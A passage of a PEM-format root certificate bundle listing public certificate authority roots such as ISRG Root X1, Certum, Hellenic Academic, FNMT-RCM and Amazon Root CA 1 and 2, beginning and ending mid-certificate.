MIIFjTCCA3WgAwIBAgIEGErM1jANBgkqhkiG9w0BAQsFADBWMQswCQYDVQQGEwJDTjEwMC4GA1UE
CgwnQ2hpbmEgRmluYW5jaWFsIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MRUwEwYDVQQDDAxDRkNB
IEVWIFJPT1QwHhcNMTIwODA4MDMwNzAxWhcNMjkxMjMxMDMwNzAxWjBWMQswCQYDVQQGEwJDTjEw
MC4GA1UECgwnQ2hpbmEgRmluYW5jaWFsIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MRUwEwYDVQQD
DAxDRkNBIEVWIFJPT1QwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDXXWvNED8fBVnV
BU03sQ7smCuOFR36k0sXgiFxEFLXUWRwFsJVaU2OFW2fvwwbwuCjZ9YMrM8irq93VCpLTIpTUnrD
7i7es3ElweldPe6hL6P3KjzJIx1qqx2hp/Hz7KDVRM8Vz3IvHWOX6Jn5/ZOkVIBMUtRSqy5J35DN
uF++P96hyk0g1CXohClTt7GIH//62pCfCqktQT+x8Rgp7hZZLDRJGqgG16iI0gNyejLi6mhNbiyW
ZXvKWfry4t3uMCz7zEasxGPrb382KzRzEpR/38wmnvFyXVBlWY9ps4deMm/DGIq1lY+wejfeWkU7
xzbh72fROdOXW3NiGUgthxwG+3SYIElz8AXSG7Ggo7cbcNOIabla1jj0Ytwli3i/+Oh+uFzJlU9f
py25IGvPa931DfSCt/SyZi4QKPaXWnuWFo8BGS1sbn85WAZkgwGDg8NNkt0yxoekN+kWzqotaK8K
gWU6cMGbrU1tVMoqLUuFG7OA5nBFDWteNfB/O7ic5ARwiRIlk9oKmSJgamNgTnYGmE69g60dWIol
hdLHZR4tjsbftsbhf4oEIRUpdPA+nJCdDC7xij5aqgwJHsfVPKPtl8MeNPo4+QgO48BdK4PRVmrJ
tqhUUy54Mmc9gn900PvhtgVguXDbjgv5E1hvcWAQUhC5wUEJ73IfZzF4/5YFjQIDAQABo2MwYTAf
BgNVHSMEGDAWgBTj/i39KNALtbq2osS/BqoFjJP7LzAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB
/wQEAwIBBjAdBgNVHQ4EFgQU4/4t/SjQC7W6tqLEvwaqBYyT+y8wDQYJKoZIhvcNAQELBQADggIB
ACXGumvrh8vegjmWPfBEp2uEcwPenStPuiB/vHiyz5ewG5zz13ku9Ui20vsXiObTej/tUxPQ4i9q
ecsAIyjmHjdXNYmEwnZPNDatZ8POQQaIxffu2Bq41gt/UP+TqhdLjOztUmCypAbqTuv0axn96/Ua
4CUqmtzHQTb3yHQFhDmVOdYLO6Qn+gjYXB74BGBSESgoA//vU2YApUo0FmZ8/Qmkrp5nGm9BC2sG
E5uPhnEFtC+NiWYzKXZUmhH4J/qyP5Hgzg0b8zAarb8iXRvTvyUFTeGSGn+ZnzxEk8rUQElsgIfX
BDrDMlI1Dlb4pd19xIsNER9Tyx6yF7Zod1rg1MvIB671Oi6ON7fQAUtDKXeMOZePglr4UeWJoBjn
aH9dCi77o0cOPaYjesYBx4/IXr9tgFa+iiS6M+qf4TIRnvHST4D2G0CvOJ4RUHlzEhLN5mydLIhy
PDCBBpEi6lmt2hkuIsKNuYyH4Ga8cyNfIWRjgEj1oDwYPZTISEEdQLpe/v5WOaHIz16eGWRGENoX
kbcFgKyLmZJ956LYBws2J+dIeWCKw9cTXPhyQN9Ky8+ZAAoACxGV2lZFA4gKn2fQ1XmxqI1AbQ3C
ekD6819kR5LLU7m7Wc5P/dAVUwHY3+vZ5nbv0CO7O6l5s9UCKc2Jo5YPSjXnTkLAdc0Hz+Ys63su
-----END CERTIFICATE-----

OISTE WISeKey Global Root GB CA
===============================
-----BEGIN CERTIFICATE-----
MIIDtTCCAp2gAwIBAgIQdrEgUnTwhYdGs/gjGvbCwDANBgkqhkiG9w0BAQsFADBtMQswCQYDVQQG
EwJDSDEQMA4GA1UEChMHV0lTZUtleTEiMCAGA1UECxMZT0lTVEUgRm91bmRhdGlvbiBFbmRvcnNl
ZDEoMCYGA1UEAxMfT0lTVEUgV0lTZUtleSBHbG9iYWwgUm9vdCBHQiBDQTAeFw0xNDEyMDExNTAw
MzJaFw0zOTEyMDExNTEwMzFaMG0xCzAJBgNVBAYTAkNIMRAwDgYDVQQKEwdXSVNlS2V5MSIwIAYD
VQQLExlPSVNURSBGb3VuZGF0aW9uIEVuZG9yc2VkMSgwJgYDVQQDEx9PSVNURSBXSVNlS2V5IEds
b2JhbCBSb290IEdCIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2Be3HEokKtaX
scriHvt9OO+Y9bI5mE4nuBFde9IllIiCFSZqGzG7qFshISvYD06fWvGxWuR51jIjK+FTzJlFXHtP
rby/h0oLS5daqPZI7H17Dc0hBt+eFf1Biki3IPShehtX1F1Q/7pn2COZH8g/497/b1t3sWtuuMlk
9+HKQUYOKXHQuSP8yYFfTvdv37+ErXNku7dCjmn21HYdfp2nuFeKUWdy19SouJVUQHMD9ur06/4o
Qnc/nSMbsrY9gBQHTC5P99UKFg29ZkM3fiNDecNAhvVMKdqOmq0NpQSHiB6F4+lT1ZvIiwNjeOvg
GUpuuy9rM2RYk61pv48b74JIxwIDAQABo1EwTzALBgNVHQ8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB
/zAdBgNVHQ4EFgQUNQ/INmNe4qPs+TtmFc5RUuORmj0wEAYJKwYBBAGCNxUBBAMCAQAwDQYJKoZI
hvcNAQELBQADggEBAEBM+4eymYGQfp3FsLAmzYh7KzKNbrghcViXfa43FK8+5/ea4n32cZiZBKpD
dHij40lhPnOMTZTg+XHEthYOU3gf1qKHLwI5gSk8rxWYITD+KJAAjNHhy/peyP34EEY7onhCkRd0
VQreUGdNZtGn//3ZwLWoo4rOZvUPQ82nK1d7Y0Zqqi5S2PTt4W2tKZB4SLrhI6qjiey1q5bAtEui
HZeeevJuQHHfaPFlTc58Bd9TZaml8LGXBHAVRgOY1NK/VLSgWH1Sb9pWJmLU2NuJMW8c8CLC02Ic
Nc1MaRVUGpCY3useX8p3x8uOPUNpnJpY0CQ73xtAln41rYHHTnG6iBM=
-----END CERTIFICATE-----

SZAFIR ROOT CA2
===============
-----BEGIN CERTIFICATE-----
MIIDcjCCAlqgAwIBAgIUPopdB+xV0jLVt+O2XwHrLdzk1uQwDQYJKoZIhvcNAQELBQAwUTELMAkG
A1UEBhMCUEwxKDAmBgNVBAoMH0tyYWpvd2EgSXpiYSBSb3psaWN6ZW5pb3dhIFMuQS4xGDAWBgNV
BAMMD1NaQUZJUiBST09UIENBMjAeFw0xNTEwMTkwNzQzMzBaFw0zNTEwMTkwNzQzMzBaMFExCzAJ
BgNVBAYTAlBMMSgwJgYDVQQKDB9LcmFqb3dhIEl6YmEgUm96bGljemVuaW93YSBTLkEuMRgwFgYD
VQQDDA9TWkFGSVIgUk9PVCBDQTIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC3vD5Q
qEvNQLXOYeeWyrSh2gwisPq1e3YAd4wLz32ohswmUeQgPYUM1ljj5/QqGJ3a0a4m7utT3PSQ1hNK
DJA8w/Ta0o4NkjrcsbH/ON7Dui1fgLkCvUqdGw+0w8LBZwPd3BucPbOw3gAeqDRHu5rr/gsUvTaE
2g0gv/pby6kWIK05YO4vdbbnl5z5Pv1+TW9NL++IDWr63fE9biCloBK0TXC5ztdyO4mTp4CEHCdJ
ckm1/zuVnsHMyAHs6A6KCpbns6aH5db5BSsNl0BwPLqsdVqc1U2dAgrSS5tmS0YHF2Wtn2yIANwi
ieDhZNRnvDF5YTy7ykHNXGoAyDw4jlivAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0P
AQH/BAQDAgEGMB0GA1UdDgQWBBQuFqlKGLXLzPVvUPMjX/hd56zwyDANBgkqhkiG9w0BAQsFAAOC
AQEAtXP4A9xZWx126aMqe5Aosk3AM0+qmrHUuOQn/6mWmc5G4G18TKI4pAZw8PRBEew/R40/cof5
O/2kbytTAOD/OblqBw7rHRz2onKQy4I9EYKL0rufKq8h5mOGnXkZ7/e7DDWQw4rtTw/1zBLZpD67
oPwglV9PJi8RI4NOdQcPv5vRtB3pEAT+ymCPoky4rc/hkA/NrgrHXXu3UNLUYfrVFdvXn4dRVOul
4+vJhaAlIDf7js4MNIThPIGyd05DpYhfhmehPea0XGG2Ptv+tyjFogeutcrKjSoS75ftwjCkySp6
+/NNIxuZMzSgLvWpCz/UXeHPhJ/iGcJfitYgHuNztw==
-----END CERTIFICATE-----

Certum Trusted Network CA 2
===========================
-----BEGIN CERTIFICATE-----
MIIF0jCCA7qgAwIBAgIQIdbQSk8lD8kyN/yqXhKN6TANBgkqhkiG9w0BAQ0FADCBgDELMAkGA1UE
BhMCUEwxIjAgBgNVBAoTGVVuaXpldG8gVGVjaG5vbG9naWVzIFMuQS4xJzAlBgNVBAsTHkNlcnR1
bSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTEkMCIGA1UEAxMbQ2VydHVtIFRydXN0ZWQgTmV0d29y
ayBDQSAyMCIYDzIwMTExMDA2MDgzOTU2WhgPMjA0NjEwMDYwODM5NTZaMIGAMQswCQYDVQQGEwJQ
TDEiMCAGA1UEChMZVW5pemV0byBUZWNobm9sb2dpZXMgUy5BLjEnMCUGA1UECxMeQ2VydHVtIENl
cnRpZmljYXRpb24gQXV0aG9yaXR5MSQwIgYDVQQDExtDZXJ0dW0gVHJ1c3RlZCBOZXR3b3JrIENB
IDIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC9+Xj45tWADGSdhhuWZGc/IjoedQF9
7/tcZ4zJzFxrqZHmuULlIEub2pt7uZld2ZuAS9eEQCsn0+i6MLs+CRqnSZXvK0AkwpfHp+6bJe+o
CgCXhVqqndwpyeI1B+twTUrWwbNWuKFBOJvR+zF/j+Bf4bE/D44WSWDXBo0Y+aomEKsq09DRZ40b
Rr5HMNUuctHFY9rnY3lEfktjJImGLjQ/KUxSiyqnwOKRKIm5wFv5HdnnJ63/mgKXwcZQkpsCLL2p
uTRZCr+ESv/f/rOf69me4Jgj7KZrdxYq28ytOxykh9xGc14ZYmhFV+SQgkK7QtbwYeDBoz1mo130
GO6IyY0XRSmZMnUCMe4pJshrAua1YkV/NxVaI2iJ1D7eTiew8EAMvE0Xy02isx7QBlrd9pPPV3WZ
9fqGGmd4s7+W/jTcvedSVuWz5XV710GRBdxdaeOVDUO5/IOWOZV7bIBaTxNyxtd9KXpEulKkKtVB
Rgkg/iKgtlswjbyJDNXXcPiHUv3a76xRLgezTv7QCdpw75j6VuZt27VXS9zlLCUVyJ4ueE742pye
hizKV/Ma5ciSixqClnrDvFASadgOWkaLOusm+iPJtrCBvkIApPjW/jAux9JG9uWOdf3yzLnQh1vM
BhBgu4M1t15n3kfsmUjxpKEV/q2MYo45VU85FrmxY53/twIDAQABo0IwQDAPBgNVHRMBAf8EBTAD
AQH/MB0GA1UdDgQWBBS2oVQ5AsOgP46KvPrU+Bym0ToO/TAOBgNVHQ8BAf8EBAMCAQYwDQYJKoZI
hvcNAQENBQADggIBAHGlDs7k6b8/ONWJWsQCYftMxRQXLYtPU2sQF/xlhMcQSZDe28cmk4gmb3DW
Al45oPePq5a1pRNcgRRtDoGCERuKTsZPpd1iHkTfCVn0W3cLN+mLIMb4Ck4uWBzrM9DPhmDJ2vuA
L55MYIR4PSFk1vtBHxgP58l1cb29XN40hz5BsA72udY/CROWFC/emh1auVbONTqwX3BNXuMp8SMo
clm2q8KMZiYcdywmdjWLKKdpoPk79SPdhRB0yZADVpHnr7pH1BKXESLjokmUbOe3lEu6LaTaM4tM
pkT/WjzGHWTYtTHkpjx6qFcL2+1hGsvxznN3Y6SHb0xRONbkX8eftoEq5IVIeVheO/jbAoJnwTnb
w3RLPTYe+SmTiGhbqEQZIfCn6IENLOiTNrQ3ssqwGyZ6miUfmpqAnksqP/ujmv5zMnHCnsZy4Ypo
J/HkD7TETKVhk/iXEAcqMCWpuchxuO9ozC1+9eB+D4Kob7a6bINDd82Kkhehnlt4Fj1F4jNy3eFm
ypnTycUm/Q1oBEauttmbjL4ZvrHG8hnjXALKLNhvSgfZyTXaQHXyxKcZb55CEJh15pWLYLztxRLX
is7VmFxWlgPF7ncGNf/P5O4/E2Hu29othfDNrp2yGAlFw5Khchf8R7agCyzxxN5DaAhqXzvwdmP7
zAYspsbiDrW5viSP
-----END CERTIFICATE-----

Hellenic Academic and Research Institutions RootCA 2015
=======================================================
-----BEGIN CERTIFICATE-----
MIIGCzCCA/OgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBpjELMAkGA1UEBhMCR1IxDzANBgNVBAcT
BkF0aGVuczFEMEIGA1UEChM7SGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJlc2VhcmNoIEluc3RpdHV0
aW9ucyBDZXJ0LiBBdXRob3JpdHkxQDA+BgNVBAMTN0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNl
YXJjaCBJbnN0aXR1dGlvbnMgUm9vdENBIDIwMTUwHhcNMTUwNzA3MTAxMTIxWhcNNDAwNjMwMTAx
MTIxWjCBpjELMAkGA1UEBhMCR1IxDzANBgNVBAcTBkF0aGVuczFEMEIGA1UEChM7SGVsbGVuaWMg
QWNhZGVtaWMgYW5kIFJlc2VhcmNoIEluc3RpdHV0aW9ucyBDZXJ0LiBBdXRob3JpdHkxQDA+BgNV
BAMTN0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgUm9vdENBIDIw
MTUwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDC+Kk/G4n8PDwEXT2QNrCROnk8Zlrv
bTkBSRq0t89/TSNTt5AA4xMqKKYx8ZEA4yjsriFBzh/a/X0SWwGDD7mwX5nh8hKDgE0GPt+sr+eh
iGsxr/CL0BgzuNtFajT0AoAkKAoCFZVedioNmToUW/bLy1O8E00BiDeUJRtCvCLYjqOWXjrZMts+
6PAQZe104S+nfK8nNLspfZu2zwnI5dMK/IhlZXQK3HMcXM1AsRzUtoSMTFDPaI6oWa7CJ06CojXd
FPQf/7J31Ycvqm59JCfnxssm5uX+Zwdj2EUN3TpZZTlYepKZcj2chF6IIbjV9Cz82XBST3i4vTwr
i5WY9bPRaM8gFH5MXF/ni+X1NYEZN9cRCLdmvtNKzoNXADrDgfgXy5I2XdGj2HUb4Ysn6npIQf1F
GQatJ5lOwXBH3bWfgVMS5bGMSF0xQxfjjMZ6Y5ZLKTBOhE5iGV48zpeQpX8B653g+IuJ3SWYPZK2
fu/Z8VFRfS0myGlZYeCsargqNhEEelC9MoS+L9xy1dcdFkfkR2YgP/SWxa+OAXqlD3pk9Q0Yh9mu
iNX6hME6wGkoLfINaFGq46V3xqSQDqE3izEjR8EJCOtu93ib14L8hCCZSRm2Ekax+0VVFqmjZayc
Bw/qa9wfLgZy7IaIEuQt218FL+TwA9MmM+eAws1CoRc0CwIDAQABo0IwQDAPBgNVHRMBAf8EBTAD
AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUcRVnyMjJvXVdctA4GGqd83EkVAswDQYJKoZI
hvcNAQELBQADggIBAHW7bVRLqhBYRjTyYtcWNl0IXtVsyIe9tC5G8jH4fOpCtZMWVdyhDBKg2mF+
D1hYc2Ryx+hFjtyp8iY/xnmMsVMIM4GwVhO+5lFc2JsKT0ucVlMC6U/2DWDqTUJV6HwbISHTGzrM
d/K4kPFox/la/vot9L/J9UUbzjgQKjeKeaO04wlshYaT/4mWJ3iBj2fjRnRUjtkNaeJK9E10A/+y
d+2VZ5fkscWrv2oj6NSU4kQoYsRL4vDY4ilrGnB+JGGTe08DMiUNRSQrlrRGar9KC/eaj8GsGsVn
82800vpzY4zvFrCopEYq+OsS7HK07/grfoxSwIuEVPkvPuNVqNxmsdnhX9izjFk0WaSrT2y7Hxjb
davYy5LNlDhhDgcGH0tGEPEVvo2FXDtKK4F5D7Rpn0lQl033DlZdwJVqwjbDG2jJ9SrcR5q+ss7F
Jej6A7na+RZukYT1HCjI/CbM1xyQVqdfbzoEvM14iQuODy+jqk+iGxI9FghAD/FGTNeqewjBCvVt
J94Cj8rDtSvK6evIIVM4pcw72Hc3MKJP2W/R8kCtQXoXxdZKNYm3QdV8hn9VTYNKpXMgwDqvkPGa
JI7ZjnHKe7iG2rKPmT4dEw0SEe7Uq/DpFXYC5ODfqiAeW2GFZECpkJcNrVPSWh2HagCXZWK0vm9q
p/UsQu0yrbYhnr68
-----END CERTIFICATE-----

Hellenic Academic and Research Institutions ECC RootCA 2015
===========================================================
-----BEGIN CERTIFICATE-----
MIICwzCCAkqgAwIBAgIBADAKBggqhkjOPQQDAjCBqjELMAkGA1UEBhMCR1IxDzANBgNVBAcTBkF0
aGVuczFEMEIGA1UEChM7SGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJlc2VhcmNoIEluc3RpdHV0aW9u
cyBDZXJ0LiBBdXRob3JpdHkxRDBCBgNVBAMTO0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJj
aCBJbnN0aXR1dGlvbnMgRUNDIFJvb3RDQSAyMDE1MB4XDTE1MDcwNzEwMzcxMloXDTQwMDYzMDEw
MzcxMlowgaoxCzAJBgNVBAYTAkdSMQ8wDQYDVQQHEwZBdGhlbnMxRDBCBgNVBAoTO0hlbGxlbmlj
IEFjYWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgQ2VydC4gQXV0aG9yaXR5MUQwQgYD
VQQDEztIZWxsZW5pYyBBY2FkZW1pYyBhbmQgUmVzZWFyY2ggSW5zdGl0dXRpb25zIEVDQyBSb290
Q0EgMjAxNTB2MBAGByqGSM49AgEGBSuBBAAiA2IABJKgQehLgoRc4vgxEZmGZE4JJS+dQS8KrjVP
dJWyUWRrjWvmP3CV8AVER6ZyOFB2lQJajq4onvktTpnvLEhvTCUp6NFxW98dwXU3tNf6e3pCnGoK
Vlp8aQuqgAkkbH7BRqNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0O
BBYEFLQiC4KZJAEOnLvkDv2/+5cgk5kqMAoGCCqGSM49BAMCA2cAMGQCMGfOFmI4oqxiRaeplSTA
GiecMjvAwNW6qef4BENThe5SId6d9SWDPp5YSy/XZxMOIQIwBeF1Ad5o7SofTUwJCA3sS61kFyjn
dc5FZXIhF8siQQ6ME5g4mlRtm8rifOoCWCKR
-----END CERTIFICATE-----

ISRG Root X1
============
-----BEGIN CERTIFICATE-----
MIIFazCCA1OgAwIBAgIRAIIQz7DSQONZRGPgu2OCiwAwDQYJKoZIhvcNAQELBQAwTzELMAkGA1UE
BhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2VhcmNoIEdyb3VwMRUwEwYDVQQD
EwxJU1JHIFJvb3QgWDEwHhcNMTUwNjA0MTEwNDM4WhcNMzUwNjA0MTEwNDM4WjBPMQswCQYDVQQG
EwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFyY2ggR3JvdXAxFTATBgNVBAMT
DElTUkcgUm9vdCBYMTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAK3oJHP0FDfzm54r
Vygch77ct984kIxuPOZXoHj3dcKi/vVqbvYATyjb3miGbESTtrFj/RQSa78f0uoxmyF+0TM8ukj1
3Xnfs7j/EvEhmkvBioZxaUpmZmyPfjxwv60pIgbz5MDmgK7iS4+3mX6UA5/TR5d8mUgjU+g4rk8K
b4Mu0UlXjIB0ttov0DiNewNwIRt18jA8+o+u3dpjq+sWT8KOEUt+zwvo/7V3LvSye0rgTBIlDHCN
Aymg4VMk7BPZ7hm/ELNKjD+Jo2FR3qyHB5T0Y3HsLuJvW5iB4YlcNHlsdu87kGJ55tukmi8mxdAQ
4Q7e2RCOFvu396j3x+UCB5iPNgiV5+I3lg02dZ77DnKxHZu8A/lJBdiB3QW0KtZB6awBdpUKD9jf
1b0SHzUvKBds0pjBqAlkd25HN7rOrFleaJ1/ctaJxQZBKT5ZPt0m9STJEadao0xAH0ahmbWnOlFu
hjuefXKnEgV4We0+UXgVCwOPjdAvBbI+e0ocS3MFEvzG6uBQE3xDk3SzynTnjh8BCNAw1FtxNrQH
usEwMFxIt4I7mKZ9YIqioymCzLq9gwQbooMDQaHWBfEbwrbwqHyGO0aoSCqI3Haadr8faqU9GY/r
OPNk3sgrDQoo//fb4hVC1CLQJ13hef4Y53CIrU7m2Ys6xt0nUW7/vGT1M0NPAgMBAAGjQjBAMA4G
A1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBR5tFnme7bl5AFzgAiIyBpY
9umbbjANBgkqhkiG9w0BAQsFAAOCAgEAVR9YqbyyqFDQDLHYGmkgJykIrGF1XIpu+ILlaS/V9lZL
ubhzEFnTIZd+50xx+7LSYK05qAvqFyFWhfFQDlnrzuBZ6brJFe+GnY+EgPbk6ZGQ3BebYhtF8GaV
0nxvwuo77x/Py9auJ/GpsMiu/X1+mvoiBOv/2X/qkSsisRcOj/KKNFtY2PwByVS5uCbMiogziUwt
hDyC3+6WVwW6LLv3xLfHTjuCvjHIInNzktHCgKQ5ORAzI4JMPJ+GslWYHb4phowim57iaztXOoJw
TdwJx4nLCgdNbOhdjsnvzqvHu7UrTkXWStAmzOVyyghqpZXjFaH3pO3JLF+l+/+sKAIuvtd7u+Nx
e5AW0wdeRlN8NwdCjNPElpzVmbUq4JUagEiuTDkHzsxHpFKVK7q4+63SM1N95R1NbdWhscdCb+ZA
JzVcoyi3B43njTOQ5yOf+1CceWxG1bQVs5ZufpsMljq4Ui0/1lvh+wjChP4kqKOJ2qxq4RgqsahD
YVvTH9w7jXbyLeiNdd8XM2w9U/t7y0Ff/9yi0GE44Za4rF2LN9d11TPAmRGunUHBcnWEvgJBQl9n
JEiU0Zsnvgc/ubhPgXRR4Xq37Z0j4r7g1SgEEzwxA57demyPxgcYxn/eR44/KJ4EBs+lVDR3veyJ
m+kXQ99b21/+jh5Xos1AnX5iItreGCc=
-----END CERTIFICATE-----

AC RAIZ FNMT-RCM
================
-----BEGIN CERTIFICATE-----
MIIFgzCCA2ugAwIBAgIPXZONMGc2yAYdGsdUhGkHMA0GCSqGSIb3DQEBCwUAMDsxCzAJBgNVBAYT
AkVTMREwDwYDVQQKDAhGTk1ULVJDTTEZMBcGA1UECwwQQUMgUkFJWiBGTk1ULVJDTTAeFw0wODEw
MjkxNTU5NTZaFw0zMDAxMDEwMDAwMDBaMDsxCzAJBgNVBAYTAkVTMREwDwYDVQQKDAhGTk1ULVJD
TTEZMBcGA1UECwwQQUMgUkFJWiBGTk1ULVJDTTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoC
ggIBALpxgHpMhm5/yBNtwMZ9HACXjywMI7sQmkCpGreHiPibVmr75nuOi5KOpyVdWRHbNi63URcf
qQgfBBckWKo3Shjf5TnUV/3XwSyRAZHiItQDwFj8d0fsjz50Q7qsNI1NOHZnjrDIbzAzWHFctPVr
btQBULgTfmxKo0nRIBnuvMApGGWn3v7v3QqQIecaZ5JCEJhfTzC8PhxFtBDXaEAUwED653cXeuYL
j2VbPNmaUtu1vZ5Gzz3rkQUCwJaydkxNEJY7kvqcfw+Z374jNUUeAlz+taibmSXaXvMiwzn15Cou
08YfxGyqxRxqAQVKL9LFwag0Jl1mpdICIfkYtwb1TplvqKtMUejPUBjFd8g5CSxJkjKZqLsXF3mw
WsXmo8RZZUc1g16p6DULmbvkzSDGm0oGObVo/CK67lWMK07q87Hj/LaZmtVC+nFNCM+HHmpxffnT
tOmlcYF7wk5HlqX2doWjKI/pgG6BU6VtX7hI+cL5NqYuSf+4lsKMB7ObiFj86xsc3i1w4peSMKGJ
47xVqCfWS+2QrYv6YyVZLag13cqXM7zlzced0ezvXg5KkAYmY6252TUtB7p2ZSysV4999AeU14EC
ll2jB0nVetBX+RvnU0Z1qrB5QstocQjpYL05ac70r8NWQMetUqIJ5G+GR4of6ygnXYMgrwTJbFaa
i0b1AgMBAAGjgYMwgYAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYE
FPd9xf3E6Jobd2Sn9R2gzL+HYJptMD4GA1UdIAQ3MDUwMwYEVR0gADArMCkGCCsGAQUFBwIBFh1o
dHRwOi8vd3d3LmNlcnQuZm5tdC5lcy9kcGNzLzANBgkqhkiG9w0BAQsFAAOCAgEAB5BK3/MjTvDD
nFFlm5wioooMhfNzKWtN/gHiqQxjAb8EZ6WdmF/9ARP67Jpi6Yb+tmLSbkyU+8B1RXxlDPiyN8+s
D8+Nb/kZ94/sHvJwnvDKuO+3/3Y3dlv2bojzr2IyIpMNOmqOFGYMLVN0V2Ue1bLdI4E7pWYjJ2cJ
j+F3qkPNZVEI7VFY/uY5+ctHhKQV8Xa7pO6kO8Rf77IzlhEYt8llvhjho6Tc+hj507wTmzl6NLrT
Qfv6MooqtyuGC2mDOL7Nii4LcK2NJpLuHvUBKwrZ1pebbuCoGRw6IYsMHkCtA+fdZn71uSANA+iW
+YJF1DngoABd15jmfZ5nc8OaKveri6E6FO80vFIOiZiaBECEHX5FaZNXzuvO+FB8TxxuBEOb+dY7
Ixjp6o7RTUaN8Tvkasq6+yO3m/qZASlaWFot4/nUbQ4mrcFuNLwy+AwF+mWj2zs3gyLp1txyM/1d
8iC9djwj2ij3+RvrWWTV3F9yfiD8zYm1kGdNYno/Tq0dwzn+evQoFt9B9kiABdcPUXmsEKvU7ANm
5mqwujGSQkBqvjrTcuFqN1W8rB2Vt2lh8kORdOag0wokRqEIr9baRRmW1FMdW4R58MD3R++Lj8UG
rp1MYp3/RgT408m2ECVAdf4WqslKYIYvuu8wd+RU4riEmViAqhOLUTpPSPaLtrM=
-----END CERTIFICATE-----

Amazon Root CA 1
================
-----BEGIN CERTIFICATE-----
MIIDQTCCAimgAwIBAgITBmyfz5m/jAo54vB4ikPmljZbyjANBgkqhkiG9w0BAQsFADA5MQswCQYD
VQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24gUm9vdCBDQSAxMB4XDTE1
MDUyNjAwMDAwMFoXDTM4MDExNzAwMDAwMFowOTELMAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpv
bjEZMBcGA1UEAxMQQW1hem9uIFJvb3QgQ0EgMTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBALJ4gHHKeNXjca9HgFB0fW7Y14h29Jlo91ghYPl0hAEvrAIthtOgQ3pOsqTQNroBvo3bSMgH
FzZM9O6II8c+6zf1tRn4SWiw3te5djgdYZ6k/oI2peVKVuRF4fn9tBb6dNqcmzU5L/qwIFAGbHrQ
gLKm+a/sRxmPUDgH3KKHOVj4utWp+UhnMJbulHheb4mjUcAwhmahRWa6VOujw5H5SNz/0egwLX0t
dHA114gk957EWW67c4cX8jJGKLhD+rcdqsq08p8kDi1L93FcXmn/6pUCyziKrlA4b9v7LWIbxcce
VOF34GfID5yHI9Y/QCB/IIDEgEw+OyQmjgSubJrIqg0CAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB
/zAOBgNVHQ8BAf8EBAMCAYYwHQYDVR0OBBYEFIQYzIU07LwMlJQuCFmcx7IQTgoIMA0GCSqGSIb3
DQEBCwUAA4IBAQCY8jdaQZChGsV2USggNiMOruYou6r4lK5IpDB/G/wkjUu0yKGX9rbxenDIU5PM
CCjjmCXPI6T53iHTfIUJrU6adTrCC2qJeHZERxhlbI1Bjjt/msv0tadQ1wUsN+gDS63pYaACbvXy
8MWy7Vu33PqUXHeeE6V/Uq2V8viTO96LXFvKWlJbYK8U90vvo/ufQJVtMVT8QtPHRh8jrdkPSHCa
2XV4cdFyQzR1bldZwgJcJmApzyMZFo6IQ6XU5MsI+yMRQ+hDKXJioaldXgjUkK642M4UwtBV8ob2
xJNDd2ZhwLnoQdeXeGADbkpyrqXRfboQnoZsG4q5WTP468SQvvG5
-----END CERTIFICATE-----

Amazon Root CA 2
================
-----BEGIN CERTIFICATE-----
MIIFQTCCAymgAwIBAgITBmyf0pY1hp8KD+WGePhbJruKNzANBgkqhkiG9w0BAQwFADA5MQswCQYD
VQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24gUm9vdCBDQSAyMB4XDTE1
MDUyNjAwMDAwMFoXDTQwMDUyNjAwMDAwMFowOTELMAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpv
bjEZMBcGA1UEAxMQQW1hem9uIFJvb3QgQ0EgMjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoC
ggIBAK2Wny2cSkxKgXlRmeyKy2tgURO8TW0G/LAIjd0ZEGrHJgw12MBvIITplLGbhQPDW9tK6Mj4
kHbZW0/jTOgGNk3Mmqw9DJArktQGGWCsN0R5hYGCrVo34A3MnaZMUnbqQ523BNFQ9lXg1dKmSYXp
N+nKfq5clU1Imj+uIFptiJXZNLhSGkOQsL9sBbm2eLfq0OQ6PBJTYv9K8nu+NQWpEjTj82R0Yiw9
AElaKP4yRLuH3WUnAnE72kr3H9rN9yFVkE8P7K6C4Z9r2UXTu/Bfh+08LDmG2j/e7HJV63mjrdvd
fLC6HM783k81ds8P+HgfajZRRidhW+mez/CiVX18JYpvL7TFz4QuK/0NURBs+18bvBt+xa47mAEx
